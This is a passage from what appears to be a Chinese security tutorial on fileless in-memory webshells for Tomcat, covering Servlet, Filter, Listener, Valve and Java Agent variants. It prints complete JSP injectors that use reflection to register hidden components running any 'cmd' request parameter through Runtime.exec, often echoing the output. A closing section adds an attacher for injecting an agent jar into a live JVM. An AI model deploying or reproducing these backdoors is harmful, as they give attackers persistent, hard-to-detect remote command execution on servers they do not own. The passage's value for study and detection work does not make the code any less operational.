所以Servlet的初始化如下:
- 通过 context.createWapper() 创建 Wapper 对象
- 设置 Servlet 的 LoadOnStartUp 的值
- 设置 Servlet 的 Name
- 设置 Servlet 对应的 Class
- 将 Servlet 添加到 context 的 children 中
- 将 url 路径和 servlet 类做映射
接下来我们分析Servlet的装载流程,可以看到,是在加载完Listener和Filter之后,才装载Servlet:
上面这里通过 findChildren()
方法从StandardContext中拿到所有的child并传到loadOnStartUp()
方法处理,而loadOnStartUp
这个方法的作用是将所有load-on-startup属性大于0的wrapper加载,这也是为什么我们的内存马代码里必须有一句demoWrapper.setLoadOnStartup(1)
:
事实上 load-on-startup 就是用来指定 Servlet 容器在启动 Web 应用时是否立即加载某个 Servlet,如果没有指定,那么只有在该servlet被调用时才加载,所以说我们的内存马必须要有这个属性。
现在我们知道了,手动注册一个servlet的流程如下:
- 找到StandardContext
- 继承并编写一个恶意servlet
- 通过 context.createWapper() 创建 Wapper 对象
- 设置 Servlet 的 LoadOnStartUp 的值
- 设置 Servlet 的 Name
- 设置 Servlet 对应的 Class
- 将 Servlet 添加到 context 的 children 中
- 将 url 路径和 servlet 类做映射
现在我们来分析一下这个内存马,第一部分的代码比较简单,就是定义了一个内联 Servlet
类 ServletDemo
,和我们最开始的demo差不多,主要是第二部分,首先看到这里,我们使用反射获取了 Tomcat 内部结构:
<%
ServletContext servletContext = request.getSession().getServletContext();
// 反射获取 org.apache.catalina.core.ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// 反射获取 org.apache.catalina.core.StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
%>
ServletContext
是标准 Servlet API 提供的接口,正常程序不能操作底层,但我们通过两层反射,成功获取 Tomcat 的 StandardContext
实例,这个对象包含整个 Web 应用的 Servlet 管理器,有了 StandardContext
,就可以动态注入新的 Servlet(即挂马)。
接着再往下看,我们动态注册了一个 Servlet:
ServletDemo demo = new ServletDemo();
org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
// 设置 Servlet 配置
demoWrapper.setName("xyz");
demoWrapper.setLoadOnStartup(1);
demoWrapper.setServlet(demo);
demoWrapper.setServletClass(demo.getClass().getName());
standardContext.addChild(demoWrapper);
// 添加路由映射
standardContext.addServletMappingDecoded("/xyz", "xyz");
out.println("inject servlet success!");
%>
我们首先创建一个 Wrapper
(Tomcat 中封装 Servlet 的对象),设置 Servlet 名字、类名、优先加载等参数,然后通过 addChild
添加到容器的子组件,最后通过 addServletMapping
映射访问路径 /xyz
到这个挂载的 Servlet,所以我们最后就可以通过访问http://localhost:8080/springmvc_01_quickstart_war/xyz?cmd=calc.exe执行命令。
Filter型内存马
Java 中的 Filter(过滤器) 是 Java EE 提供的一种组件,用于在请求到达 Servlet 之前或响应返回客户端之前对请求或响应做统一处理。常见用途包括:
- 权限验证
- 请求日志记录
- 编码设置
- 敏感词过滤
- 防止 XSS、SQL 注入
- 请求拦截实现登录校验等
简单来说,Filter 会拦截 HTTP 请求,并在执行目标 Servlet 之前或之后执行代码,是否放行取决于 chain.doFilter()
方法,我们只需要实现 javax.servlet.Filter
接口,重写其中的 doFilter
方法通过注解 @WebFilter
或 web.xml
配置过滤路径,最后在容器里运行即可。
比如我们创建一个MyFilter.java,作用是拦截所有请求然后在命令行进行输出:
package com.itheima.controller;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
// 拦截所有请求(包括 .jsp, .html 等)
@WebFilter("/*")
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println("请求进入 Filter 之前处理");
// 放行请求
chain.doFilter(request, response);
System.out.println("响应返回客户端之前处理");
}
@Override
public void destroy() {
System.out.println("Filter 被销毁");
}
}
现在我们再访问任何一个页面,就可以看到控制台的输出,这就说明这次请求其实被我们拦截进行操作了:
多个 Filter 的执行可以通过 @WebFilter
的 @Order
(Spring Boot)或在 web.xml
中配置顺序。而filter如果不执行 chain.doFilter()
,请求不会继续到目标 Servlet,也就是说请求就中断了。
我们来了解一下在Tomcat中与Filter密切相关的几个类:
- FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
- FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
- FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
- FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
- WebXml:存放 web.xml 中内容的类
- ContextConfig:Web应用的上下文配置类
- StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
这里我们来跟一下Filter的工作流程,可以发现它是根据filterChain来去做filter的
我们找到filterChain的定义:
跳转到这个createFilterChain,可以发现它会先调用 getParent()
方法获取 StandardContext
,再获取filterMaps,而这个filterMaps顾名思义,就是在 filterMap 存放过滤器的名字以及作用的 url::
接下来遍历 filterMaps 中的 filterMap,如果发现符合当前请求 url 与 filterMap 中的 urlPattern 匹配且通过filterName能找到对应的filterConfig,则会将其加入filterChain:
至此filterChain组装完毕,重新回到 StandardContextValue 中,后面会调用 filterChain.doFilter()
方法:
filterChain.doFilter()会在内部调用internalDoFilter():
会从filters中依次拿到filter和filterConfig,最终调用filter.doFilter()
:
流程如下:
根据上面的调试,我们发现最关键的就是StandardContext.findFilterMaps()
和StandardContext.findFilterConfig()
,而这两个方法都是直接从StandardContext中取到对应的属性,那么我们只要往这2个属性里面插入对应的filterMap和filterConfig即可实现动态添加filter的目的:
事实上StandardContext直接提供了对应的添加方法,比如这个addFilterMapBefore,而且看名字就知道,它应该向可以容器的过滤器映射表中添加一个 FilterMap,并插入到已有映射的前面。
只不过它前面有一个校验,我们跟一下这个validateFilterMap,可以发现它会根据filterName去寻找对应的filterDef,没有的话就直接抛出异常了,这里得注意一下:
我们找找添加filterDefs的方法,可以看到这里直接有现成的,所以添加一下就行了:
但是filterConfigs就没有现成的方法可以add了,得用反射手动获取然后添加。
最后总结下Filter型内存马(即动态创建filter)的步骤:
- 获取StandardContext
- 继承并编写一个恶意filter
- 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
- 实例化一个FilterMap类,将我们的 Filter 和 urlpattern 相对应,存放到StandardContext.filterMaps中(一般会放在首位)
- 通过反射获取filterConfigs,实例化一个FilterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDefs,存放到filterConfig中
按照这个逻辑,我们不难写出代码SevletShell.jsp:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void destroy() {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return;
}
}
}
%>
<%
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Filter filter = new FilterDemo();
String name = "fushuling";
// FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
%>
先访问SevletShell.jsp注入内存马,接着访问任何一个页面,我们都可以直接使用cmd进行代码注入,灵活性相比servlet的马大的多:
这里解释一下我们的马,首先 FilterDemo 就不用介绍了,就是一个恶意类,然后这里我们是和之前一样获取StandardContext:
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
接着构造并注册了一个 FilterDef
:
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
然后构造并注册 FilterMap
(拦截路径),这个 FilterMap
指定了路径匹配规则,这里是拦截所有请求,addFilterMapBefore()
是关键操作,表示将这个 Filter 插入到 Filter 链的最前面,防止被其他过滤器拦截或跳过:
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*"); // 所有路径
filterMap.setFilterName(name);
filterMap.setDispatcher("REQUEST");
standardContext.addFilterMapBefore(filterMap);
最后的最后,通过反射注册 ApplicationFilterConfig
让 Tomcat 真正使用该 Filter:
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
Listener型内存马
在 Java 中,Listener(监听器) 是一种用于事件驱动编程的设计模式,常用于 GUI、Web 或其他需要响应某些事件(如点击、输入、改变等)的场景。它的核心思想是:一个对象监听另一个对象的事件,一旦事件发生,监听器就会被回调执行。
术语 | 说明 |
---|---|
事件源(Event Source) | 产生事件的对象 |
事件对象(Event Object) | 封装事件相关信息(如时间、来源等) |
监听器(Listener) | 一个接口,定义了处理事件的方法 |
注册监听器 | 事件源需要提供方法,允许监听器注册 |
这里我们来写个小demo:
package com.itheima.controller;
interface MyListener {
void onClick(); // 监听器接口,定义一个回调方法
}
class Button {
private MyListener listener; // 用于存储监听器
// 设置监听器
public void setListener(MyListener listener) {
this.listener = listener;
}
// 模拟点击事件
public void click() {
System.out.println("按钮被点击了!");
if (listener != null) {
listener.onClick(); // 调用监听器的回调方法
}
}
}
public class ListenerTest {
public static void main(String[] args) {
Button button = new Button();
// 注册监听器(使用 lambda 表达式)
button.setListener(() -> {
System.out.println("监听器:我知道按钮被点了!");
});
// 模拟点击按钮
button.click();
}
}
这里我们的监听器就是一个接口,可以通过 setListener()
注册,而在调用 click()
时触发监听器的 onClick()
方法。
写内存马主要涉及的是ServletRequestListener(由于其在每次请求中都会触发),而它会触发StandardContext#listenerStart
,首先用findApplicationListeners
获取到listener之后进行实例化:
然后会根据listener的不同放入不同的数组,我们的目标被放入了eventListeners
然后会用getApplicationEventListeners
获取已注册的应用级事件监听器数组,然后重新设置一次applicationEventListenersList
,也就是在applicationEventListenersList
的基础上加上实例化的eventListeners
:
而getApplicationEventListeners
,顾名思义,就是返回applicationEventListenersList
的值
最后的触发点在fireRequestInitEvent
,利用getApplicationEventListeners
获取所有applicationEventListenersList
进行初始化:
分析上述流程我们知道,我们只需要向applicationEventListenersList
中加入我们的恶意Listener即可,好消息是StandardContext
里有现成的addApplicationEventListener
方法用来添加Listener:
所以写内存马的思路就很简单了:写Listener、获取StandardContext
,最后用addApplicationEventListener
添加Listerner,具体代码如下:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%
class ListenerDemo implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletServletRequestListenerRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {}
}
}
}
%>
<%
// 获取StandardContext
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//实例化一个恶意Listener
ListenerDemo servletRequestListener = new ListenerDemo();
//添加Listener
standardContext.addApplicationEventListener(servletRequestListener);
out.println("inject success");
%>
我们只需要访问一下这个ListenerShell.jsp注册一下我们的恶意Listener,接下来我们就可以在任意位置执行恶意命令,非常灵活:
Valve型内存马
Tomcat 在处理一个请求调用逻辑时,是如何处理和传递 Request 和 Respone 对象的呢?为了整体架构的每个组件的可伸缩性和可扩展性,Tomcat 使用了职责链模式来实现客户端请求的处理。在 Tomcat 中定义了两个接口:Pipeline(管道)和 Valve(阀)。这两个接口名字很好的诠释了处理模式:数据流就像是流经管道的水一样,经过管道上个一个个阀门。
Pipeline 中会有一个最基础的 Valve(basic),它始终位于末端(最后执行),封装了具体的请求处理和输出响应的过程。Pipeline 提供了 addValve 方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。
Tomcat 每个层级的容器(Engine、Host、Context、Wrapper),都有基础的 Valve 实现(StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve),他们同时维护了一个 Pipeline 实例(StandardPipeline),也就是说,我们可以在任何层级的容器上针对请求处理进行扩展。这四个 Valve 的基础实现都继承了 ValveBase。这个类帮我们实现了生命接口及MBean 接口,使我们只需专注阀门的逻辑处理即可。
因此我们可以知道,Tomcat 中的 Valve 是其核心架构的一部分,属于 Catalina 容器中的一个重要扩展点,用于对请求和响应进行拦截、处理、监控或修改。它是实现类似 Filter(过滤器) 的功能,但是在 Tomcat 内部的更底层、更靠近容器核心的机制,一般用于日志记录、安全控制、URL 重写、请求拦截等任务。
比如上面提到的StandardEngineValve,可以看到它继承了ValveBase,且我们能拿到输入和输出:
那么如何注入Valve呢,我们的老朋友StandardContext
里其实直接就有,在StandardContext
里可以看到它使用了很多次 this.getPipeline
来获取StandardPipeline
,而这个方法实际上是直接从父类ContainerBase
继承来的:
有了StandardPipeline
,我们就可以使用addValve
添加Valve了:
最后完整的代码如下:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%
class ValveDemo extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return;
}
}
}
%>
<%
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//注入恶意Valve
standardContext.getPipeline().addValve(new ValveDemo());
out.println("inject success");
%>
最后访问一次这个ValveShell.jsp注入一下Valve,最后即可在任意页面RCE,机制类似于Filter:
Agent型内存马
Java Agent 是 Java 提供的一种 运行时字节码插桩机制,允许在应用程序启动之前(Premain)或运行时(Attach)动态修改类的行为。通过 Instrumentation
接口,Java Agent 可以:
- 修改字节码
- 注入方法逻辑
- 监控敏感 API
- 实现无文件落地的内存后门(如内存马)
Java Agent 常被用于 性能监控(如 SkyWalking、Arthas),但也被攻击者利用,注入恶意逻辑,实现绕过 Filter、Servlet 的隐藏通信通道。
Java Agent 其实只是一个 Java 类而已,但普通的 Java 类以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain,所以Java Agent 支持两种方式进行加载:
- 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
- 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)
premain
PreDemo.java:
import java.lang.instrument.Instrumentation;
public class PreDemo {
public static void premain(String args, Instrumentation inst){
for (int i = 0; i < 10; i++) {
System.out.println("hello I'm premain agent!!!");
}
}
}
agent.mf(注意最后有个换行):
Manifest-Version: 1.0
Premain-Class: PreDemo
接着打包jar:
javac PreDemo.java
jar cvfm agent.jar agent.mf PreDemo.class
最后应该可以看到一个agent.jar,然后随便写个小demo用Agent.jar进行劫持,按相似流程处理:
public class Hello {
public static void main(String[] args) {
System.out.println("Hello,Java");
}
}
Hello.mf:
Manifest-Version: 1.0
Main-Class: Hello
javac Hello.java
jar cvfm hello.jar Hello.mf Hello.class
接着运行命令如下:
java -javaagent:agent.jar -jar hello.jar
可以看到现在就在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class:
其实最原始的启动命令应该是:
java -javaagent:agent.jar[=options] -jar hello.jar
这个options是来给我们的premain传参的,也就是这个args,虽然我们的demo里没用上,而这个Instrumentation就大有来头了:
Instrumentation Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果 在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据 Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码
其中有一些比较重要的方法:
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer 方法配置之后,后续的类加载都会被 Transformer 拦截。对于已经加载过的类,可以执行 retransformClasses 来重新触发这个 Transformer 的拦截。类加载的字节码被修改后,除非再次被 retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);
// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 在类加载之后,重新定义 Class。这个很重要,该方法是 1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
......
}
我们看到这个addTransformer:
他需要一个ClassFileTransformer,而这个东西本质就是一个transform:
所以我们只需要向这个transform里写一些恶意代码,就可以在类加载之前被提前调用。
agentmain
agentmain通过VirtualMachineDescriptor
和VirtualMachine
实现加载,通过 VirtualMachine 类的 attach (pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent (agentJarPath) 来将 agent 的 jar 包注入到对应的进程,然后对应的进程会调用 agentmain 方法。
agent2.mf:
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentDemo
然后写一个AgentDemo,按之前的办法打包成jar:
import java.lang.instrument.Instrumentation;
public class AgentDemo {
public static void agentmain(String agentArgs, Instrumentation inst) {
for (int i = 0; i < 10; i++) {
System.out.println("hello I'm agentMain!!!");
}
}
}
接着先把之前的Hello.java改一改,让他一直挂在后台
public class Hello {
public static void main(String[] args) {
System.out.println("Hello, Java");
try {
// 挂起主线程,模拟后台服务
Thread.currentThread().join();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
打包后之后用java -jar运行在后台,用jps -l
拿到进程号:
最后我们写一个attacher:
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class AgentMain {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//目标应用程序的进程号
String id = "43884";
//agent的绝对地址
String jarName = "D:\\java笔记\\Agent\\out\\artifacts\\Agent_jar\\agent2.jar";
VirtualMachine virtualMachine = VirtualMachine.attach(id);
virtualMachine.loadAgent(jarName);
virtualMachine.detach();
}
}
成功注入:
实战中的使用
当然,用脑子想想也知道实战中premain不大可能用的上,主要还是用agentmain,主要就是要执行恶意的attacher:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class TestAgentMain extends AbstractTranslet {
public TestAgentMain() throws Exception {
try {
java.lang.String path = "/home/bmth/web/spring-agent.jar";
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine, null);
System.out.println("Running JVM list ...");
for (int i = 0; i < list.size(); i++) {
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);
java.lang.String name = (java.lang.String) displayName.invoke(o, null);
// 列出当前有哪些 JVM 进程在运行
// 这里的 if 条件根据实际情况进行更改
if (name.contains("ezjaba.jar")) {
// 获取对应进程的 pid 号
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
java.lang.String id = (java.lang.String) getId.invoke(o, null);
System.out.println("id >>> " + id);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o, new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[]{java.lang.String.class});
loadAgent.invoke(vm, new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);
detach.invoke(vm, null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
}
当然,这里就会有一个问题,我们需要先把恶意的jar传上去,然后才能注入马,可以参考其他师傅搞好的:https://github.com/KpLi0rn/AgentMemShell